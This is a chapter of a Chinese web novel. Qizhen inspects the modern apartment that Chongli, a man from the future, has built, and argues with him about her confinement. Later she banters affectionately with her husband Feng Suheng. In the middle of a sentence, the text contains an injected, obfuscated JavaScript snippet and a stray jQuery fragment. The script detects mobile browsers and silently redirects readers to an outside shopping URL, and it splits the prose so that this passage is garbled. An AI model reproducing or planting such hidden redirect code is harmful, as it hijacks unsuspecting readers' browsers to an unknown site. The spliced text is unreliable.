自从栖真“病体康裕”,山头便迎来又一波热闹。
除每日给孩子们上数学课和科学课,栖真其他时间就去上西屋,抱小宝、跟刺绣的阿月闲聊,带常璐散步,也或去看看典叔那边菜田的情况,跟几位嫂子们商量种什么果树。
算算日子,重离说的三月期就到了。这日果见铁索桥重开,栖真还有点惊喜,跑去洞中,十足吃了一惊。
“你……闭个关,还把房子装修了一下?”
如今这里再也不是集装箱房了。或许外观还是“集装箱”,但里面,居然成了一套极具二十一世纪风格的一室一厅。
走进去时,栖真差点以为自己眼花。
奶白色的墙纸,水曲柳的木地板,客厅摆着一套褐皮高档沙发,茶几下铺着灰色地毯,沙发前居然还有一台电视。
再看卧室,一张席梦思床,前面是床榻,对面是装在墙上的电视屏。墙边还有一张书桌,一个衣柜。
栖真看得合不拢嘴:“我这是穿回去了吗?”
重离还是跷腿坐在沙发上,不像欢迎别人前来参观新房的主人,倒像等人前来朝拜的君王。
“找到一张你那个时代的装潢图样。”重离道:“想试一下住在这里什么感觉。”
栖真去按电视按钮,仍是黑屏,耸耸肩并不感到意外:“什么感觉?”
“拘束。”重离道。
好吧……
这就是个宜家样板房,瞧着温馨,抽开来看,全是假的。
“那是因为你没住习惯。”栖真噘了下嘴:“对于自己不习惯的东西,没必要一上来就抱有批判的想法吧。”
“你处在一个条条框框的时代。”重离道:“人睡在床上,东西放在柜子里,内容呈现在屏幕中。这个空间,处处都是框架。”
栖真皱眉:“你所谓的框架,是五千年文明进化的结果,难道你觉得我们应该退化到山顶洞人,没有床,没有柜,什么都没有,才算真正的自在?”
“真正的自在,不是什么都没有。”重离道:“而是拥有一切,却不形化。”
“嗯,形化。”栖真咀嚼一下:“什么意思?”
重离不再多言。
栖真松口气,重离没再说“你的智商不够”这类的话,是否代表重离对她的态度在逐渐软化?
栖真对他上看下看,今日重离面色如常,穿了套白色西装,打着白色领结,感觉下一秒就可以作为新郎出席一场盛大的婚礼。
“你……没事了吧?”栖真小心翼翼问。
重离示意她坐下:“有句古话,甲之蜜糖,乙之砒/霜。你爱的小笼包,成了我的毒药。”
栖真掐着合谷:“实在抱歉,早知道……”
重离道:“你早知道还是会带来,我早知道还是会尝试,所以不用说‘早知道’。”
栖真在媲美头等舱的单人沙发上如坐针毡,但输人不输阵:“先来说说你的第一句。”
“你说我早知带小笼会让你吃出问题,就是说我有心害你。”栖真道:“这锅我可不背。”
重离不愧是重离,跳过论证,进击结论:“我死,你照样出不去。”
栖真………
“这是不是有点不公平了?”栖真叫起来:“你当初的要求是要我陪你一辈子,凭什么你的一辈子终结时,我还得陪?”
“结界运行机制并不和我的生命挂钩。”重离道。
栖真道:“你知道自己生命即将终结,不能按个按钮什么的,把结界先消除?”
重离:“我为什么要做这种事?”
栖真怒道:“作为人类,总有些共通的好生之德吧。”
重离:“让你待在山上,就是我的好生之德。”
栖真:“狗屁的好生之德!”
重离:“等你参透生命的意义,就会感谢我。”
“所以你的意思是,你提出这个非分的要求,是为我好?是为了帮我参透生命的意义?”
重离脸不红气不喘:“是的。”
“恕我不敢苟同!”栖真双眼冒火。
“因为你开悟的道路才刚刚开启。”重离不紧不慢道。
栖真深深吸气,深深呼气,反复三次,才压下怒火继续对话,但她不想再去和重离讨论什么关于拘禁的意义。
简直鸡同鸭讲!
“来说说你的第二句,你说你早知道,仍会尝试?”
“知道不代表确认。”重离道:“我吃了,产生了自然的结果,这才是验证。只有验证过的事情,才算确认。”
栖真从他的话里推导出一些意思:“就是说一千年后的人类虽然知道自己不用吃东西,但不知道吃了东西会对身体产生怎样的影响,所以你尝试了一次。结果证明,你的身体根本没有办法承受五谷杂粮。”
“对。”重离道。
栖真问:“这三个月你在做什么?”
“通过安置舱代谢食物。”
栖真注意到他用了“代谢”一词:“你的身体不能自然排泄吗?”
重离道:“很麻烦。”
栖真…………
从道理上说,人体的每一个器官都因其实用价值而在漫长的进化中被保留,若有朝一日人类真地不需要进食,那不需要排泄也说得过去,整套消化器官的退化也是顺理成章。
“进化是一件需要数万年,甚至数十万年时间进行的自然抉择。”栖真质疑道:“我不相信才短短一千年,就到了需要重新定义“人”这种生物的程度。况且你这个未来人,从表面看,和我根本没什么两样!”
“你没看过我的身体。”重离道:“自然感知不到差别。”
他这样说,栖真本该接一句“那给我看一下”。
但一种发自内心的抗拒让她没有提出这种要求。这和男女之防无关,而是来自更为深远的忧虑。
“未来千年,到底发生了什么?”栖真感叹:“变化也太大了。”
重离道:“用‘变化’不足以形容,是‘变革’。”
“能跟我说说吗?”栖真请求:“我很想知道未来到底怎么了。”
“可以。”重离道:“但不是今天。”
栖真挑了下眉:“为什么?”
重离道:“让你叙述过去一千年,你也能张口就来?不需要去查阅资料?”
栖真笑道:“所以,你要去查一下,才能跟我说?”
重离道:“查一下,才能跟你说得准确。”
他在“准确”两字上略微加重力道。
感觉重离对讲述未来持有一种认真态度,栖真微微笑了一下:“好的,我等你。”
“在没有讲之前,请允许我猜一猜,未来的人类是不是生活地更加局促,更不自由?”
重离道:“为什么这样想?”
栖真呵呵笑起来:“因为你们连小笼都没法吃啊!”
重离顿了顿,才道:“我们用禁锢换永生。”
…………
“然后我就用了一个时辰安置舱,看了眼幸福值,就回来了。”栖真晚上跟风宿恒说起今日去见重离的事:“上次是60,这次到82了呢。”
风宿恒刚从金光万丈城回来,晚膳都没来得及吃,脱着外袍问:“他有问你为何?”
“当然问啊!”栖真有点小得意:“可我干吗跟他说?”
风宿恒把袍子挂到衣裆上,凑头过去:“那跟我说。”
栖真垫脚抱住他脖颈,凑上去悄声道:“因为夫君每晚伺候得好。”
风宿恒两手捏她双颊,硬生生捏出个鬼脸,在嘟起的唇上亲一口:“是真真香甜可口。”
外面有敲门声,颜心端晚膳进来,栖真说要去香满路写东西,风宿恒便让颜心把晚膳端过去,他自去净房洗了洗,才去香满路。
栖真已在案头忙活起来,风宿恒也坐到书桌边,一面进膳一面道:“他房子整什么样,画一个我看看。”
栖真取张白纸,画了个户型图,可左看右看觉得差点意思:“唉,其实我画工还可以的,但毛笔实在不称手,透视图我也不太行,和窦诗比差远了。”
风宿恒看了看,重新取张纸画起来,不过几笔就把两间房的布
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502940|124354||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
置画得惟妙惟肖。
栖真哇一声,满眼崇拜:“你也太会画了!”
风宿恒只是笑一下:“以前小包子也说过你们住的别墅,我也帮他画过。如今让你住的,竟连你原本的宅子都不如。”
栖真笑:“我的别墅没有风宿恒,中土却有永嘉道。这道是不是快修好了?”
“今日回去就说这桩。”风宿恒取过一个书架上的板夹,将两张画夹进去,放回架上:“自从大荒流中段修通后就快了,今日让倪煌重新估了工期,预计再过两月便可完工。永嘉一通,大容和辛丰间的脚力从过去的二十日缩短到四日。将来,来往两地就方便得多。”
“我王又做了件前无古人的大工程!”栖真拍手:“对了,宿恒一开始怎么想到要建永嘉?”
汤里只有青菜叶子加两片葱花,清淡得很,风宿恒却不以为杵,坐下喝两口:“那一年……想着你早晚会回来,我不想你觉得大容在我手里越来越差,便定了几项谋划,永嘉为一项。”
栖真吃惊地指自己,风宿恒邀功似地笑:“真真夸夸我嘛?”
笔杆不好意思地蹭着太阳穴,栖真居然被一个王的顶级情话瞬间整不会了。
风宿恒凑上来:“不夸夸吗?”
栖真都不知为啥要脸红:“我夸得还少吗?”
“少啊!”风宿恒想上手摸摸她绯红的脸蛋儿,可手在碗上蹭了油,忍住道:“不够听。”
栖真一笔杆把他脸支开:“不上当,夸完就要上床了,我事没做完呢。”
风宿恒忍不住笑,经验足了就不容易糊弄!可他想把人拖上床就动动指头的事,用得着哄?
这便把托盘端出去,今日带回的茶具颜心已洗净烫好,他端回香满路,放大桌上慢条斯理地沏茶,放温了给栖真端过去。
栖真正写得投入,接过轻抿,惊艳道:“什么茶,爽口!”
“璞丽薄香,夏天喝最好。”
栖真一口全喝了,感觉和薄荷一样清爽:“今天带回来的吗?带得多吗?明日我给东边送点去。”
风宿恒拿回杯子:“够。”
续了茶放到桌边,风宿恒道:“你到时刻想着他们。”
栖真抬头对他笑笑,继续写。
风宿恒摸索手中杯,不经意问:“明日……给谁送?”
笔尖一顿,栖真唇角漾开,抬头道:“师父想要了?”
一句话堵地风宿恒只能低头笑,这才收了有的没的,继续适才话题:“这几日我还得回宫,永嘉道修好,后面就是驻防的事,让倪煌拟了折,得回去盯着。”
他说正事,栖真就停笔听,问:“如今对外还瞒着大容王活着的消息,你来去要当心。如果要商议的事多,也不用每日这般来回,忙完再回也行。”
风宿恒把桌上乱七八糟的纸整一整置在案边,胳膊搁在纸上,道:“不回?让娇妻独守空闺?”
栖真不好意思地笑,面上却道:“正好喘口气,求之不得!”
“哪头喘口气?”风宿恒支额,挑眉问。
栖真眨了眨眼,明白过来,笑怒作势要拿笔往他脸上画:“好个大容王,就没正经。”
被风宿恒轻巧握住臂,抽出她手中毛笔搁架上:“真真知趣,本王说什么都听得懂。”
反正晚上宅在家,栖真洗完就着件鹅黄云纹凋裙,和现代吊带裙差不多,露着胸背。真不怪风宿恒一见她就频频撩拨,这般春光,让他怎么忍?至今未动,全数因知她做事投入,才稍等一下罢了。
“我是说真的!这里去金光万丈城御剑也得两个时辰,你每日这般赶,不如省下点时间休息。”
风宿恒拉过她的手:“除非中枢搬来这边,否则来来去去便是平常,总要习惯。”
要兼顾朝堂和爱巢,两头跑是常态,风宿恒早想明白,并不以此为苦。
栖真反拉过他的手,在晒黑的手背上亲一口。千言万语,只在这下里。
风宿恒问:“可是完事了?”
不啻在问,咱们能开始了吗?栖真瞬间无语,扔回风宿恒的手:“早呢!”